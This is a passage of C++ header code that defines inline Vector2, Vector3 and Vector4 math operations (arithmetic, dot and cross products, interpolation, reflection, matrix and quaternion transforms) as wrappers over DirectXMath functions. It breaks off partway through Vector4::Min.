inline Vector2 Vector2::CatmullRom( const Vector2& v1, const Vector2& v2, const Vector2& v3, const Vector2& v4, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR x3 = XMLoadFloat2( &v3 );
XMVECTOR x4 = XMLoadFloat2( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Hermite( const Vector2& v1, const Vector2& t1, const Vector2& v2, const Vector2& t2, float t, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &t1 );
XMVECTOR x3 = XMLoadFloat2( &v2 );
XMVECTOR x4 = XMLoadFloat2( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Hermite( const Vector2& v1, const Vector2& t1, const Vector2& v2, const Vector2& t2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &t1 );
XMVECTOR x3 = XMLoadFloat2( &v2 );
XMVECTOR x4 = XMLoadFloat2( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Reflect( const Vector2& ivec, const Vector2& nvec, Vector2& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat2( &ivec );
XMVECTOR n = XMLoadFloat2( &nvec );
XMVECTOR X = XMVector2Reflect( i, n );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Reflect( const Vector2& ivec, const Vector2& nvec )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat2( &ivec );
XMVECTOR n = XMLoadFloat2( &nvec );
XMVECTOR X = XMVector2Reflect( i, n );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Refract( const Vector2& ivec, const Vector2& nvec, float refractionIndex, Vector2& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat2( &ivec );
XMVECTOR n = XMLoadFloat2( &nvec );
XMVECTOR X = XMVector2Refract( i, n, refractionIndex );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Refract( const Vector2& ivec, const Vector2& nvec, float refractionIndex )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat2( &ivec );
XMVECTOR n = XMLoadFloat2( &nvec );
XMVECTOR X = XMVector2Refract( i, n, refractionIndex );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Transform( const Vector2& v, const Quaternion& quat, Vector2& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Transform( const Vector2& v, const Quaternion& quat )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Transform( const Vector2& v, const Matrix& m, Vector2& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector2TransformCoord( v1, M );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Transform( const Vector2& v, const Matrix& m )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector2TransformCoord( v1, M );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
_Use_decl_annotations_
inline void Vector2::Transform( const Vector2* varray, size_t count, const Matrix& m, Vector2* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector2TransformCoordStream( resultArray, sizeof(XMFLOAT2), varray, sizeof(XMFLOAT2), count, M );
}
inline void Vector2::Transform( const Vector2& v, const Matrix& m, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector2Transform( v1, M );
XMStoreFloat4( &result, X );
}
_Use_decl_annotations_
inline void Vector2::Transform( const Vector2* varray, size_t count, const Matrix& m, Vector4* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector2TransformStream( resultArray, sizeof(XMFLOAT4), varray, sizeof(XMFLOAT2), count, M );
}
inline void Vector2::TransformNormal( const Vector2& v, const Matrix& m, Vector2& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector2TransformNormal( v1, M );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::TransformNormal( const Vector2& v, const Matrix& m )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector2TransformNormal( v1, M );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
_Use_decl_annotations_
inline void Vector2::TransformNormal( const Vector2* varray, size_t count, const Matrix& m, Vector2* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector2TransformNormalStream( resultArray, sizeof(XMFLOAT2), varray, sizeof(XMFLOAT2), count, M );
}
/****************************************************************************
*
* Vector3
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Vector3::operator == ( const Vector3& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
return XMVector3Equal( v1, v2 );
}
inline bool Vector3::operator != ( const Vector3& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
return XMVector3NotEqual( v1, v2 );
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Vector3& Vector3::operator+= (const Vector3& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR X = XMVectorAdd(v1,v2);
XMStoreFloat3( this, X );
return *this;
}
inline Vector3& Vector3::operator-= (const Vector3& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR X = XMVectorSubtract(v1,v2);
XMStoreFloat3( this, X );
return *this;
}
inline Vector3& Vector3::operator*= (const Vector3& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR X = XMVectorMultiply(v1,v2);
XMStoreFloat3( this, X );
return *this;
}
inline Vector3& Vector3::operator*= (float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVectorScale(v1,S);
XMStoreFloat3( this, X );
return *this;
}
inline Vector3& Vector3::operator/= (float S)
{
using namespace DirectX;
assert( S != 0.0f );
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVectorScale(v1, 1.f/S);
XMStoreFloat3( this, X );
return *this;
}
//------------------------------------------------------------------------------
// Urnary operators
//------------------------------------------------------------------------------
inline Vector3 Vector3::operator- () const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVectorNegate( v1 );
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Vector3 operator+ (const Vector3& V1, const Vector3& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V1 );
XMVECTOR v2 = XMLoadFloat3( &V2 );
XMVECTOR X = XMVectorAdd(v1,v2);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
inline Vector3 operator- (const Vector3& V1, const Vector3& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V1 );
XMVECTOR v2 = XMLoadFloat3( &V2 );
XMVECTOR X = XMVectorSubtract(v1,v2);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
inline Vector3 operator* (const Vector3& V1, const Vector3& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V1 );
XMVECTOR v2 = XMLoadFloat3( &V2 );
XMVECTOR X = XMVectorMultiply(v1,v2);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
inline Vector3 operator* (const Vector3& V, float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
inline Vector3 operator/ (const Vector3& V1, const Vector3& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V1 );
XMVECTOR v2 = XMLoadFloat3( &V2 );
XMVECTOR X = XMVectorDivide(v1,v2);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
inline Vector3 operator* (float S, const Vector3& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector3 R;
XMStoreFloat3( &R, X );
return R;
}
//------------------------------------------------------------------------------
// Vector operations
//------------------------------------------------------------------------------
inline bool Vector3::InBounds( const Vector3& Bounds ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &Bounds );
return XMVector3InBounds( v1, v2 );
}
inline float Vector3::Length() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVector3Length( v1 );
return XMVectorGetX( X );
}
inline float Vector3::LengthSquared() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVector3LengthSq( v1 );
return XMVectorGetX( X );
}
inline float Vector3::Dot( const Vector3& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR X = XMVector3Dot( v1, v2 );
return XMVectorGetX( X );
}
inline void Vector3::Cross( const Vector3& V, Vector3& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR R = XMVector3Cross( v1, v2 );
XMStoreFloat3( &result, R );
}
inline Vector3 Vector3::Cross( const Vector3& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &V );
XMVECTOR R = XMVector3Cross( v1, v2 );
Vector3 result;
XMStoreFloat3( &result, R );
return result;
}
inline void Vector3::Normalize()
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVector3Normalize( v1 );
XMStoreFloat3( this, X );
}
inline void Vector3::Normalize( Vector3& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR X = XMVector3Normalize( v1 );
XMStoreFloat3( &result, X );
}
inline void Vector3::Clamp( const Vector3& vmin, const Vector3& vmax )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &vmin );
XMVECTOR v3 = XMLoadFloat3( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat3( this, X );
}
inline void Vector3::Clamp( const Vector3& vmin, const Vector3& vmax, Vector3& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( this );
XMVECTOR v2 = XMLoadFloat3( &vmin );
XMVECTOR v3 = XMLoadFloat3( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat3( &result, X );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline float Vector3::Distance( const Vector3& v1, const Vector3& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector3Length( V );
return XMVectorGetX( X );
}
inline float Vector3::DistanceSquared( const Vector3& v1, const Vector3& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector3LengthSq( V );
return XMVectorGetX( X );
}
inline void Vector3::Min( const Vector3& v1, const Vector3& v2, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Min( const Vector3& v1, const Vector3& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Max( const Vector3& v1, const Vector3& v2, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Max( const Vector3& v1, const Vector3& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Lerp( const Vector3& v1, const Vector3& v2, float t, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Lerp( const Vector3& v1, const Vector3& v2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::SmoothStep( const Vector3& v1, const Vector3& v2, float t, Vector3& result )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::SmoothStep( const Vector3& v1, const Vector3& v2, float t )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Barycentric( const Vector3& v1, const Vector3& v2, const Vector3& v3, float f, float g, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR x3 = XMLoadFloat3( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Barycentric( const Vector3& v1, const Vector3& v2, const Vector3& v3, float f, float g )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR x3 = XMLoadFloat3( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::CatmullRom( const Vector3& v1, const Vector3& v2, const Vector3& v3, const Vector3& v4, float t, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR x3 = XMLoadFloat3( &v3 );
XMVECTOR x4 = XMLoadFloat3( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::CatmullRom( const Vector3& v1, const Vector3& v2, const Vector3& v3, const Vector3& v4, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &v2 );
XMVECTOR x3 = XMLoadFloat3( &v3 );
XMVECTOR x4 = XMLoadFloat3( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Hermite( const Vector3& v1, const Vector3& t1, const Vector3& v2, const Vector3& t2, float t, Vector3& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &t1 );
XMVECTOR x3 = XMLoadFloat3( &v2 );
XMVECTOR x4 = XMLoadFloat3( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Hermite( const Vector3& v1, const Vector3& t1, const Vector3& v2, const Vector3& t2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat3( &v1 );
XMVECTOR x2 = XMLoadFloat3( &t1 );
XMVECTOR x3 = XMLoadFloat3( &v2 );
XMVECTOR x4 = XMLoadFloat3( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Reflect( const Vector3& ivec, const Vector3& nvec, Vector3& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat3( &ivec );
XMVECTOR n = XMLoadFloat3( &nvec );
XMVECTOR X = XMVector3Reflect( i, n );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Reflect( const Vector3& ivec, const Vector3& nvec )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat3( &ivec );
XMVECTOR n = XMLoadFloat3( &nvec );
XMVECTOR X = XMVector3Reflect( i, n );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Refract( const Vector3& ivec, const Vector3& nvec, float refractionIndex, Vector3& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat3( &ivec );
XMVECTOR n = XMLoadFloat3( &nvec );
XMVECTOR X = XMVector3Refract( i, n, refractionIndex );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Refract( const Vector3& ivec, const Vector3& nvec, float refractionIndex )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat3( &ivec );
XMVECTOR n = XMLoadFloat3( &nvec );
XMVECTOR X = XMVector3Refract( i, n, refractionIndex );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Transform( const Vector3& v, const Quaternion& quat, Vector3& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Transform( const Vector3& v, const Quaternion& quat )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
inline void Vector3::Transform( const Vector3& v, const Matrix& m, Vector3& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector3TransformCoord( v1, M );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::Transform( const Vector3& v, const Matrix& m )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector3TransformCoord( v1, M );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
_Use_decl_annotations_
inline void Vector3::Transform( const Vector3* varray, size_t count, const Matrix& m, Vector3* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector3TransformCoordStream( resultArray, sizeof(XMFLOAT3), varray, sizeof(XMFLOAT3), count, M );
}
inline void Vector3::Transform( const Vector3& v, const Matrix& m, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector3Transform( v1, M );
XMStoreFloat4( &result, X );
}
_Use_decl_annotations_
inline void Vector3::Transform( const Vector3* varray, size_t count, const Matrix& m, Vector4* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector3TransformStream( resultArray, sizeof(XMFLOAT4), varray, sizeof(XMFLOAT3), count, M );
}
inline void Vector3::TransformNormal( const Vector3& v, const Matrix& m, Vector3& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector3TransformNormal( v1, M );
XMStoreFloat3( &result, X );
}
inline Vector3 Vector3::TransformNormal( const Vector3& v, const Matrix& m )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector3TransformNormal( v1, M );
Vector3 result;
XMStoreFloat3( &result, X );
return result;
}
_Use_decl_annotations_
inline void Vector3::TransformNormal( const Vector3* varray, size_t count, const Matrix& m, Vector3* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector3TransformNormalStream( resultArray, sizeof(XMFLOAT3), varray, sizeof(XMFLOAT3), count, M );
}
/****************************************************************************
*
* Vector4
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Vector4::operator == ( const Vector4& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
return XMVector4Equal( v1, v2 );
}
inline bool Vector4::operator != ( const Vector4& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
return XMVector4NotEqual( v1, v2 );
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Vector4& Vector4::operator+= (const Vector4& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
XMVECTOR X = XMVectorAdd(v1,v2);
XMStoreFloat4( this, X );
return *this;
}
inline Vector4& Vector4::operator-= (const Vector4& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
XMVECTOR X = XMVectorSubtract(v1,v2);
XMStoreFloat4( this, X );
return *this;
}
inline Vector4& Vector4::operator*= (const Vector4& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
XMVECTOR X = XMVectorMultiply(v1,v2);
XMStoreFloat4( this, X );
return *this;
}
inline Vector4& Vector4::operator*= (float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVectorScale(v1,S);
XMStoreFloat4( this, X );
return *this;
}
inline Vector4& Vector4::operator/= (float S)
{
using namespace DirectX;
assert( S != 0.0f );
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVectorScale(v1, 1.f/S);
XMStoreFloat4( this, X );
return *this;
}
//------------------------------------------------------------------------------
// Urnary operators
//------------------------------------------------------------------------------
inline Vector4 Vector4::operator- () const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVectorNegate( v1 );
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Vector4 operator+ (const Vector4& V1, const Vector4& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V1 );
XMVECTOR v2 = XMLoadFloat4( &V2 );
XMVECTOR X = XMVectorAdd(v1,v2);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
inline Vector4 operator- (const Vector4& V1, const Vector4& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V1 );
XMVECTOR v2 = XMLoadFloat4( &V2 );
XMVECTOR X = XMVectorSubtract(v1,v2);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
inline Vector4 operator* (const Vector4& V1, const Vector4& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V1 );
XMVECTOR v2 = XMLoadFloat4( &V2 );
XMVECTOR X = XMVectorMultiply(v1,v2);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
inline Vector4 operator* (const Vector4& V, float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
inline Vector4 operator/ (const Vector4& V1, const Vector4& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V1 );
XMVECTOR v2 = XMLoadFloat4( &V2 );
XMVECTOR X = XMVectorDivide(v1,v2);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
inline Vector4 operator* (float S, const Vector4& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector4 R;
XMStoreFloat4( &R, X );
return R;
}
//------------------------------------------------------------------------------
// Vector operations
//------------------------------------------------------------------------------
inline bool Vector4::InBounds( const Vector4& Bounds ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &Bounds );
return XMVector4InBounds( v1, v2 );
}
inline float Vector4::Length() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVector4Length( v1 );
return XMVectorGetX( X );
}
inline float Vector4::LengthSquared() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVector4LengthSq( v1 );
return XMVectorGetX( X );
}
inline float Vector4::Dot( const Vector4& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &V );
XMVECTOR X = XMVector4Dot( v1, v2 );
return XMVectorGetX( X );
}
inline void Vector4::Cross( const Vector4& v1, const Vector4& v2, Vector4& result ) const
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( this );
XMVECTOR x2 = XMLoadFloat4( &v1 );
XMVECTOR x3 = XMLoadFloat4( &v2 );
XMVECTOR R = XMVector4Cross( x1, x2, x3 );
XMStoreFloat4( &result, R );
}
inline Vector4 Vector4::Cross( const Vector4& v1, const Vector4& v2 ) const
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( this );
XMVECTOR x2 = XMLoadFloat4( &v1 );
XMVECTOR x3 = XMLoadFloat4( &v2 );
XMVECTOR R = XMVector4Cross( x1, x2, x3 );
Vector4 result;
XMStoreFloat4( &result, R );
return result;
}
inline void Vector4::Normalize()
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVector4Normalize( v1 );
XMStoreFloat4( this, X );
}
inline void Vector4::Normalize( Vector4& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR X = XMVector4Normalize( v1 );
XMStoreFloat4( &result, X );
}
inline void Vector4::Clamp( const Vector4& vmin, const Vector4& vmax )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &vmin );
XMVECTOR v3 = XMLoadFloat4( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat4( this, X );
}
inline void Vector4::Clamp( const Vector4& vmin, const Vector4& vmax, Vector4& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( this );
XMVECTOR v2 = XMLoadFloat4( &vmin );
XMVECTOR v3 = XMLoadFloat4( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat4( &result, X );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline float Vector4::Distance( const Vector4& v1, const Vector4& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector4Length( V );
return XMVectorGetX( X );
}
inline float Vector4::DistanceSquared( const Vector4& v1, const Vector4& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector4LengthSq( V );
return XMVectorGetX( X );
}
inline void Vector4::Min( const Vector4& v1, const Vector4& v2, Vector4& result )
{
